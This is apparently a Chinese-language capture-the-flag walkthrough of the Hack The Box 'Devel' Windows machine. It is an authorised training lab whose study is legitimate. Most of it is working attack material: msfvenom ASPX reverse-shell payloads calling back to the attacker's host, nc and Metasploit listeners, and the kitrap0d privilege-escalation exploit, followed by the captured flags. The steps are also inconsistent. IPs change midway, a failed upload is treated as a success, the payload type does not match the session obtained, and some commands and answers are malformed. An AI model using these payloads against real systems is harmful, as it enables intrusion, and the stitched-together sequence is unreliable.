一、靶机概述HTB Devel 是一台难度为“简单”的 Windows 靶机主要考察对常见服务漏洞的发现与利用以及基础的权限提升技巧。1靶机信息靶机名称Devel难度Easy系统Windows 7 (32位)IP10.129.5.247攻击机 VPN IP10.10.15.40核心弱点FTP 匿名可写 Web 目录重合 内核提权漏洞 MS10-015二、信息收集2.1 端口扫描首先第一步我们要对靶机提供的IP地址进行扫描我们从扫描结果里面找关键信息。┌─[au-free-2]─[10.10.15.40]─[ithzy88888htb-gu9wyoyvvn]─[~] └──╼ [★]$ sudo nmap -Pn -p- -sCV 10.129.5.247 Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-08 03:32 EDT Stats: 0:03:00 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 98.26% done; ETC: 03:35 (0:00:00 remaining) Nmap scan report for 10.129.5.247 Host is up (0.15s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 03-18-17 02:06AM DIR aspnet_client | 03-17-17 05:37PM 689 iisstart.htm | 08-08-26 09:05AM 2945 meterpreter.aspx | 08-08-26 08:52AM 2776 shell.aspx |_03-17-17 05:37PM 184946 welcome.png | ftp-syst: |_ SYST: Windows_NT 80/tcp open http Microsoft IIS httpd 7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-title: IIS7 |_http-server-header: Microsoft-IIS/7.5 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 182.26 seconds拿到这个信息的第一步我们总结重要信息。PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 03-18-17 02:06AM DIR aspnet_client | 03-17-17 05:37PM 689 iisstart.htm | 08-08-26 09:05AM 2945 meterpreter.aspx | 08-08-26 08:52AM 2776 shell.aspx |_03-17-17 05:37PM 184946 welcome.png | ftp-syst: |_ SYST: Windows_NT 80/tcp open http Microsoft IIS httpd 7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-title: IIS7 |_http-server-header: Microsoft-IIS/7.5 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsHTB Devel 第一个问题What is the name of the service is running on TCP port 21 on the target machine?目标机器 TCP 21 端口上运行的服务名称是什么答案Microsoft ftpd这道题的答案显而易见在我们的扫描结果总结里面。21/tcp open ftp Microsoft ftpd2.2 服务枚举与漏洞初探我们通过扫描结果发现一些关键信息第一 21 端口 FTP 允许匿名登录且根目录下已有 IIS 默认网站文件iisstart.htm, welcome.png和 ASP.NET 框架目录aspnet_client。那么FTP 根目录就是 IIS 的 Web 根目录。第二 80 端口 IIS 7.5 支持 ASP.NET脚本扩展名为.aspx。HTB Devel 第二个问题Which basic FTP command can be used to upload a single file onto the server?哪个基本的 FTP 命令可以用来将单个文件上传到服务器答案putput是 FTP 协议里一个非常基础的指令它的作用是把客户端你的攻击机 上的一个文件“放置”到服务端靶机 上去HTB Devel 第三个问题Are files put into the FTP root available via the webserver?放在 FTP 根目录中的文件可以通过 Web 服务器访问吗答案yes说实话当我们看到扫描结果显示FTP允许匿名登录的时候我们需要验证这个结果那么我们测试 FTP 匿名上传。┌─[au-free-2]─[10.10.15.40]─[ithzy88888htb-gu9wyoyvvn]─[~] └──╼ [★]$ ftp 10.129.5.247 Connected to 10.129.5.247. 220 Microsoft FTP Service Name (10.129.5.247:root): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp这里需要注意因为FTP允许匿名登录所以统一的账号为anonymous密码为回车。接下来就是上传文件ftp put etc/hosts/test.txt local: etc/hosts/test.txt remote: etc/hosts/test.txt ftp: Cant open etc/hosts/test.txt: No such file or directory对于初学者而言不知道/etc/hosts这个文件路径含义它是系统文件路径这个是一定存在的当然你或许记不住这些那么我们其实还有一个方法我们现在的目的是验证FTP匿名登录所以我们也可以创建一个空白文件然后上传这个空文件。touch ping.txtftp 10.129.5.247 # anonymous, 空密码 put ping.txt quit这是另外一种思路二者取一即可。最后这个实验证明了你通过 FTP 上传到 FTP 根目录的文件能够被 IIS 找到并提供给浏览器访问。因此FTP 根目录和 Web 根目录确实是同一个文件夹。HTB Devel 第四个问题What file extension is executed as a script on this webserver? Dont include the ..此 Web 服务器上哪种文件扩展名会作为脚本执行请不要包含.。答案aspx这个问题在考察你是否识别出了靶机 Web 服务器的技术栈并知道该服务器会把哪些文件当作可执行脚本来运行而不是当作文本直接显示。关键概念静态文件像.txt、.png这类文件Web 服务器只是把它们的内容原样发送给浏览器不会做任何处理。脚本文件像.aspx、.php这类文件Web 服务器会先交给对应的脚本引擎去执行然后把执行结果返回给浏览器。那么我们的范围缩小第一 在扫描结果里面有Microsoft IIS httpd 7.5IIS 是微软的 Web 服务器它原生支持 ASP 和 ASP.NET 技术。在 IIS 上.aspx扩展名的文件会被 ASP.NET 引擎执行。第二 扫描结果aspnet_client是 ASP.NET 框架用来存放客户端脚本的文件夹。它的存在证明了这台 IIS 服务器确实开启了 ASP.NET 功能。那么结果就显而易见了三、获取低权限立足点1. 生成 ASPX 反弹 Shell现在我们使用的这个终端我们编号为1号┌─[au-free-2]─[10.10.15.40]─[ithzy88888htb-gu9wyoyvvn]─[~] └──╼ [★]$ msfvenom -p windows/shell_reverse_tcp LHOST10.10.15.40 LPORT4444 -f aspx -o shell.aspx [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 324 bytes Final size of aspx file: 2754 bytes Saved as: shell.aspx代码解析msfvenom:把你选择的攻击代码payload封装成各种目标系统可以执行的文件格式。比如你可以生成一个.exe文件在 Windows 上直接运行或者像我们现在这样生成一个.aspx文件让 IIS 来执行。-p是--payload的缩写意思是“指定攻击载荷”。这是武器的“弹药”部分定义了要在靶机上执行的恶意代码。windows/s指定目标系统平台是 Windows。shell我们的目标是获得一个命令行界面cmd.exe。reverse_tcp这是连接方式意思是 “反向 TCP 连接”。tcp使用可靠的 TCP 协议建立连接。反向 (Reverse)由靶机主动连回攻击机。这是一种非常经典的绕过防火墙的策略因为通常防火墙对从内部主动发起的出站连接限制较少。LHOST是 Listening Host 的缩写即监听主机。这是告诉靶机“当你执行这个 payload 时请连回这个 IP 地址”。这个 IP 地址就是你攻击机的 VPN IP10.10.15.40。LPORT是 Listening Port 的缩写即监听端口。这是告诉靶机“连回我的时候请连接我这个 4444 端口”。这个端口就是你在攻击机上用nc -lvnp 4444监听的端口。LHOST和LPORT的关系它俩共同构成了一条完整的“回家”路线。payload 执行后靶机就会向10.10.15.40的4444端口发起连接而这个连接正好被你开启的nc监听器接住从而建立 Shell。-f是--format的缩写意思是“指定输出格式”。这是武器的“外壳”决定了这份“弹药”会被包装成什么样。aspx这是基于我们信息收集的结果。我们知道靶机的 Web 服务器是 IIS支持 ASP.NET所以我们必须把 payload 生成一个.aspx文件。这样当浏览器访问它时IIS 才会把它当作一个脚本去执行而不是直接当文本显示出来。-o是--out的缩写意思是“指定输出文件名”。shell.aspx就是我们给这个最终生成的“武器”起的名字这个文件会被我们上传到靶机。2. 上传 shell.aspx┌─[au-free-2]─[10.10.15.40]─[ithzy88888htb-gu9wyoyvvn]─[~] └──╼ [★]$ ftp 10.129.5.247 Connected to 10.129.5.247. 220 Microsoft FTP Service Name (10.129.5.247:root): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp quit 221 Goodbye.3. 在攻击机开启监听我们需要在开一个终端我们编号为2号终端防止后面弄混淆了打开监听端口┌─[au-free-2]─[10.10.15.40]─[ithzy88888htb-gu9wyoyvvn]─[~] └──╼ [★]$ nc -lvnp 4444 Listening on 0.0.0.0 4444现在我们的端口保持监听状态我们回到1号终端触发反弹。1号终端界面显示┌─[au-free-2]─[10.10.15.40]─[ithzy88888htb-gu9wyoyvvn]─[~] └──╼ [★]$ curl http://10.129.5.247/shell.aspx2号终端界面显示┌─[au-free-2]─[10.10.15.40]─[ithzy88888htb-gu9wyoyvvn]─[~] └──╼ [★]$ nc -lvnp 4444 Listening on 0.0.0.0 4444 Connection received on 10.129.5.247 49170 Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. c:\windows\system32\inetsrv这个时候我们已经是低权限服务账户四、权限提升1.查询靶机系统现在我们需要做的我们是多少位系统我需要在2号终端执行命令c:\windows\system32\inetsrvsysteminfo | findstr /C:System Type systeminfo | findstr /C:System Type System Type: X86-based PC这里显示我的是32位2. 生成 32 位 Meterpreter ASPX 载荷┌─[au-free-2]─[10.10.15.40]─[ithzy88888htb-gu9wyoyvvn]─[~] └──╼ [★]$ msfvenom -p windows/shell_reverse_tcp LHOST10.10.15.40 LPORT4446 -f aspx -a x86 -o meterpreter.aspx [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload No encoder specified, outputting raw payload Payload size: 324 bytes Final size of aspx file: 2712 bytes Saved as: meterpreter.aspx3. 上传 meterpreter.aspx┌─[au-free-2]─[10.10.15.40]─[ithzy88888htb-gu9wyoyvvn]─[~] └──╼ [★]$ ftp 10.129.5.247 Connected to 10.129.5.247. 220 Microsoft FTP Service Name (10.129.5.247:root): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp put metrepretre.aspx local: metrepretre.aspx remote: metrepretre.aspx ftp: Cant open metrepretre.aspx: No such file or directory ftp quit 221 Goodbye.这里的账号密码跟前面的匿名登录方法是一模一样的4. 启动 MSF 监听现在我们要打开3号终端启动 Metasploit┌─[eu-free-5]─[10.10.15.70]─[ithzy88888htb-n0hpefsl2p]─[~] └──╼ [★]$ msfconsole -q [msf](Jobs:0 Agents:0) use exploit/multi/handler [*] Using configured payload windows/meterpreter/reverse_tcp [msf](Jobs:0 Agents:0) exploit(multi/handler) set payload windows/meterpreter/reverse_tcp payload windows/meterpreter/reverse_tcp [msf](Jobs:0 Agents:0) exploit(multi/handler) set LHOST 10.10.15.70 LHOST 10.10.15.70 [msf](Jobs:0 Agents:0) exploit(multi/handler) set LPORT 5555 LPORT 5555 [msf](Jobs:0 Agents:0) exploit(multi/handler) exploit -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [msf](Jobs:1 Agents:0) exploit(multi/handler) [*] Started reverse TCP handler on 10.10.15.70:5555 [*] Sending stage (190534 bytes) to 10.129.93.140 [*] Meterpreter session 1 opened (10.10.15.70:5555 - 10.129.93.140:49175) at 2026-08-09 04:00:05 -0400当显示[*] Meterpreter session 1 opened 就表示成功了接下来我们需要回到1号终端开始触发触发 Meterpreter 反弹┌─[eu-free-5]─[10.10.15.70]─[ithzy88888htb-n0hpefsl2p]─[~] └──╼ [★]$ curl http://10.129.93.140/meterpreter.aspx现在我们要在3号终端建立对话sessions -i 1 [*] Starting interaction with 1... (Meterpreter 1)(c:\windows\system32\inetsrv) 现在我们需要做的的就是确认是低权限账户然后将会话放入后台(Meterpreter 1)(c:\windows\system32\inetsrv) getuid Server username: IIS APPPOOL\Web (Meterpreter 1)(c:\windows\system32\inetsrv) background [*] Backgrounding session 1...HTB Devel 第五个问题Which metasploit reconnaissance module can be used to list possible privilege escalation paths on a compromised system?哪个 Metasploit 侦察模块可以用于列出一个已被攻陷系统上可能的权限提升路径答案ocal_exploit_suggester这个问题的关键是我们在拿到低用户权限的时候在 Metasploit 中搜索是可以拿到post/multi/recon/local_exploit_suggester这个路径的search suggester现在我们正式在这个基础上提权[msf](Jobs:0 Agents:1) exploit(multi/handler) use post/multi/recon/local_exploit_suggester [*] Using configured payload windows/meterpreter/reverse_tcp [msf](Jobs:0 Agents:1) post(multi/recon/local_exploit_suggester) set SESSION 1 SESSION 1 [msf](Jobs:0 Agents:1) post(multi/recon/local_exploit_suggester) run [*] 10.129.93.140 - Collecting local exploits for x86/windows... /usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here [*] 10.129.93.140 - 239 exploit checks are being tried... [] 10.129.93.140 - exploit/windows/local/bypassuac_comhijack: The target appears to be vulnerable. [] 10.129.93.140 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable. [] 10.129.93.140 - exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected! [] 10.129.93.140 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated. [] 10.129.93.140 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated. [] 10.129.93.140 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable. [] 10.129.93.140 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable. [] 10.129.93.140 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. [] 10.129.93.140 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated. [] 10.129.93.140 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [] 10.129.93.140 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated. [] 10.129.93.140 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated. [] 10.129.93.140 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable. [] 10.129.93.140 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable. [] 10.129.93.140 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable. [] 10.129.93.140 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. [-] 10.129.93.140 - Post interrupted by the console user [*] Post module execution completed在我们通过输入 加载提权建议模块找到要求的内核漏洞我们加载加载 kitrap0d 模块[msf](Jobs:0 Agents:1) post(multi/recon/local_exploit_suggester) use exploit/windows/local/ms10_015_kitrap0d [*] Using configured payload windows/meterpreter/reverse_tcp [msf](Jobs:0 Agents:1) exploit(windows/local/ms10_015_kitrap0d) set SESSION 1SESSION 1 [msf](Jobs:0 Agents:1) exploit(windows/local/ms10_015_kitrap0d) set LHOST 10.10.15.70 LHOST 10.10.15.70 [msf](Jobs:0 Agents:1) exploit(windows/local/ms10_015_kitrap0d) set LPORT 6666 LPORT 6666 [msf](Jobs:0 Agents:1) exploit(windows/local/ms10_015_kitrap0d) exploit [*] Started reverse TCP handler on 10.10.15.70:6666 [*] Reflectively injecting payload and triggering the bug... [*] Launching netsh to host the DLL... [] Process 3244 launched. [*] Reflectively injecting the DLL into 3244... [] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Sending stage (190534 bytes) to 10.129.93.140 [*] Meterpreter session 2 opened (10.10.15.70:6666 - 10.129.93.140:49177) at 2026-08-09 04:09:14 -0400 (Meterpreter 2)(c:\windows\system32\inetsrv) 现在我们已经拿到权限然后就是查看flag这里我们直接查看文件路径就可以实现(Meterpreter 2)(c:\windows\system32\inetsrv) cat C:\\Users\\babis\\Desktop\\user.txt a97675bea512d82672c89a1cd8eb8fb7 (Meterpreter 2)(c:\windows\system32\inetsrv) cat C:\\Users\\Administrator\\Desktop\\root.txt 07b7df89a13ffff0b10da379c0bb4d8cHTB Devel 第六个问题Submit the flag located on the babis users desktop.提交位于 babis 用户桌面上的 flag。答案User flag ownedHTB Devel 第七个问题Submit the flag located on the administrators desktop.提交位于 administrator 桌面上的 flag。答案Root flag owne六、总结与拓展这个靶机值得注意的是需要开多个端口对于新手而言容易弄混淆要先理解整个的流程之后在来操作这样就不容易迷失方向。总结1. 信息收集2. 漏洞发现与验证3. 攻击与立足点获取4. 后渗透与提权这个靶机教会了我一件很重要的事渗透测试不只是找漏洞更是找“错误”版本漏洞是错误配置缺陷同样是错误。而后者往往更隐蔽也更容易被忽视每一台靶机都是一封来自未知世界的战书而每一次提权都是我们写给未来的回信。我还在路上期待下一台靶机的相遇。